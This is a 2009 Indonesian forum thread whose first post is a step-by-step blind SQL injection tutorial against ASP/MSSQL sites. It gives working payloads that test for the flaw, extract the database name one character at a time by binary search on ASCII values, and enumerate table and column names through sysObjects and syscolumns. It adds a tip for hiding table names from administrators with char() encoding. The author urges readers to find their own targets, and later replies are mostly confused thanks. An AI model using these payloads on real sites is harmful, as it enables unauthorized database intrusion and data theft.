Page 1 of 4

Season 2 < bLiND Sql InJEction >

Posted: Sun Jun 14, 2009 7:40 am
by ^s0n_g0ku^
nah di seasons kedua ini saya akan memberikan pelajaran tentang tutorial blind sql injection
langsung ke pembelajaran aja lha...

Dalam beberapa kasus, jika Menggunakan metode normal sql injection tidak berfungsi. Maka blind sql injection adalah metode lain yang dapat membantu kamu.


Cara Mentest Vulnerable sites di Blind Sql Injection

Kita beranggapan bahwa web http://www.example.com/page.asp?id=1 adalah normal url untuk membuka web.

Namun silahkan kita coba inject seperti ini

Code: Select all

	
http://www.example.com/page.asp?id=1 and 1=1	
dan
http://www.example.com/page.asp?id=1 and 1=2
Jika tampilan web dari cara tadi berbeda dengan tampilan sebelum di beri perintah di belakang tadi, maka ini akan menjadi Suatu hal yang baik untuk kita.
Mungkin websites itu terdapat blind sql injection vulnerability. Ketika kita menginput "id=1 and 1=1" dan kondisi web masih normal dan respon dari web server masih normal. Tapi ketika kita menginput "id=1 and 1=2" dan kondisi web menjadi berubah maka web tersebut adalah web blind sql injection


Menentukan data melalui SQL Injection Blind


Dengan menggunakan blind sql injection teknik, kita akan menggunakan waktu yang lebih lama daripada normal injection.
kita dapat memperoleh hanya satu karakter sambil mengirimkan beberapa permintaan ke server.
saya akan memberikan contoh querying karakter pertama dari nama database.
Kita berasumsi bahwa data nama anggota. Oleh karena itu, karakter pertama adalah "m"
ASCII yang nilainya 109. (Pada tahap ini, saya menganggap bahwa anda tahu kode ASCII)

Ok, pertama-tama, kita harus tahu bahwa hasil dari permintaan hanya ada 2 bentuk.

Code: Select all

1. Valid hasil pencarian seperti ini http://www.example.com/page.asp?id=1 and 1 = 1
2. Invalid hasil pencarian seperti ini http://www.example.com/page.asp?id=1 and 1 = 2 
Langkah berikutnya adalah terserah kalian, kalian mungkin mempunyai ide yang berbeda dari ide saya untuk memilih kode ASCII untuk menguji query.

Code: Select all

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
Dalam situasi ini, hasilnya akan berlaku hasil pencarian seperti http://www.example.com/page.asp?id=1 and 1 = 1
(karena karakter pertama dari nama database adalah "m" yang ASCII kode 109). Kemudian, kita coba

Code: Select all

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>120
Itu pasti bahwa hasilnya akan seperti http://www.example.com/page.asp?id=1 and 1 = 2 (karena 109 benar-benar kurang dari 120).

Kemudian kita coba

Code: Select all

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>105
Hasilnya adalah hasil query yang valid, dengan nilai ASCII karakter pertama dari nama database adalah antara 105 dan 120.
kita akan mencoba

Code: Select all

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>112  ===> invalid query result
	http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108  ===> valid query result
	http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110  ===> invalid query result
	http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>109  ===> invalid query result
kita melihat bahwa karakter pertama dari nama database ascii memiliki nilai yang lebih besar dari 108
Tetapi tidak lebih dari 109. Dengan demikian, kita dapat menyimpulkan bahwa nilai ASCII adalah sama dengan 109.
kamu dapat membuktikannya dengan:

Code: Select all

http://www.example.com/page.asp?id=1 AND ISNULL (ASCII (SUBSTRING (Cast ((SELECT LOWER (db_name (0))) AS varchar (8000)), 1,1)), 0 ) = 109.
dan saya yakin bahwa hasilnya sama seperti hasil http://www.target.com/page.php?id=1 and 1 = 1

Sisanya yang perlu kamu lakukan adalah untuk memanipulasi beberapa permintaan untuk mengumpulkan informasi yang kita sukai.
Dalam tutorial ini, saya mengajukan beberapa contoh query untuk mencari nama tabel dan kolom dalam database.



Eksploitasi Tabel permintaan untuk mendapatkan nama

Untuk mendapatkan nama tabel, kita dapat menggunakan metode di atas untuk mendapatkan karakter dari setiap nama tabel.
Satu-satunya hal yang kita lakukan adalah untuk mengubah query untuk mengambil nama tabel dari database saat ini.
Sebagai MSSQL tidak ada batas perintah. Dengan demikian, permintaan agak sedikit sulit.

Code: Select all

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) 
	FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
	AS varchar(8000)),1,1)),0)>97
Permintaan di atas digunakan untuk menentukan karakter pertama pertama di tabel database saat ini. Jika kita ingin menemukan kedua karakter pertama dari tabel,
Dapat kita lakukan dengan permintaan berikut:

Code: Select all

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) 
	FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
	AS varchar(8000)),2,1)),0)>97
saya mengubah substring dari kedua parameter fungsi 1-2 untuk menentukan pilihan posisi karakter dalam tabel nama.
Oleh karena itu, jika kita ingin menentukan posisi lainnya, saya hanya perlu mengubah parameter kedua dari fungsi substring.

Dalam kasus lainnya, kita dapat menemukan tabel lainnya dengan mengubah nama yang kedua pilih
Dari "SELECT TOP 1" menjadi "SELECT TOP 2", "SELECT TOP 3" dan seterusnya. misalnya,

Code: Select all

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) 
	FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
	AS varchar(8000)),1,1)),0)=97
Permintaan tersebut akan menentukan karakter pertama dari kedua nama tabel di database saat ini.



Eksploitasi perintah untuk mendapatkan nama Kolom


Setelah kita memperoleh table names, selanjutnya target informasi adalah column names.

Code: Select all

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97
Untuk menghindari agar kita tidak ketauan sama admin, kamu harus mengubah 'tablename'
Menjadi bentuk concatenating char () perintah. misalnya, jika tabel bernama 'user',
ketika kita menambahkan 'user' dalam pencariannya, 'mungkin akan ketauan admin dan tidak dapat mensearch table user.
Untuk Solusinya adalah mengubah 'user' untuk char (117) + char (115) + char (101) + char (114).
Jadi, di mana permintaan perubahan dari cluase "Di mana nama = 'User'" menjadi "Di mana nama = char (117) + char (115) + char (101) + char (114)".
Dalam hal ini, kita dapat menghindari ketaun oleh admin. Dari hasil di atas permintaan pertama adalah karakter pertama dari nama kolom tabel yang spesifik.
Bila kita ingin menemukan kedua karakter pertama kolom, kita dapat menggunakan metode yang sama seperti mendapatkan tabel nama, dengan mengubah parameter yang kedua dari
Fungsi substring.

Code: Select all

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97
Perintah di atas digunakan untuk menentukan kedua karakter pertama nama kolom dalam tabel yang spesifik.
Dalam hal penentuan kolom lainnya, yang dapat kita lakukan dengan mengubah nilai px dari 1 ke 2,3,4, dan sebagainya. seperti

Code: Select all

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97
Karakter pertama dari kedua kolom nama tabel tertentu dapat ditentukan oleh perintah di atas.


Sekian Pembelajaran Pada Season Sql Injection

Re: Season 2 < bLiND Sql InJEction >

Posted: Sun Jun 14, 2009 9:24 am
by bernadsatriani
buset dah..
kagak ngerti ane :P

hahaha
mantaf gan..

:D

Re: Season 2 < bLiND Sql InJEction >

Posted: Sun Jun 14, 2009 9:40 am
by ^s0n_g0ku^
bernadsatriani wrote:buset dah..
kagak ngerti ane :P

hahaha
mantaf gan..

:D

Yha ga ngerti lha..wong ane khan cuman kasi tutornya aja....kalau tutornya langsung sama targetnya mah itu bukan belajar namanya....target cari sendiri dan cobalah untuk berfikir kreatif....

Re: Season 2 < bLiND Sql InJEction >

Posted: Sun Jun 14, 2009 6:19 pm
by abah
bernadsatriani wrote:buset dah..
kagak ngerti ane :P

hahaha
mantaf gan..

:D
sama ane juga malah dah puyeng bacana :lol: :lol: :lol:

Re: Season 2 < bLiND Sql InJEction >

Posted: Sun Jun 14, 2009 8:51 pm
by ^s0n_g0ku^
abah wrote:
bernadsatriani wrote:buset dah..
kagak ngerti ane :P

hahaha
mantaf gan..

:D
sama ane juga malah dah puyeng bacana :lol: :lol: :lol:
makanya dipahami bukan hanya dibaca....dan diresapi....

Re: Season 2 < bLiND Sql InJEction >

Posted: Sun Jun 14, 2009 9:01 pm
by N4ck0
wahh sqli at asp site yahh kk
izin dipelajari yahh

Re: Season 2 < bLiND Sql InJEction >

Posted: Sun Jun 14, 2009 10:26 pm
by Xshadow
bang... kalo gak dikasih contoh Ol mending dikasih gambar aja.. jangan tulsian mulu... sama aja kita baca tutorial buta T_T

Re: Season 2 < bLiND Sql InJEction >

Posted: Sun Jun 14, 2009 10:49 pm
by hexa
:roll: iya stuju... di kasih gambar aja...
bole request gag... text nya di ganti pake brile
:( capek bacanya.. T_T

Re: Season 2 < bLiND Sql InJEction >

Posted: Sun Jun 14, 2009 10:50 pm
by bernadsatriani
Xshadow wrote:bang... kalo gak dikasih contoh Ol mending dikasih gambar aja.. jangan tulsian mulu... sama aja kita baca tutorial buta T_T
buset dah..
master nya turun gunung
wekkeke

Re: Season 2 < bLiND Sql InJEction >

Posted: Mon Jun 15, 2009 12:32 am
by gblack
Opo iki cok?

Rak paham blass!!

:?: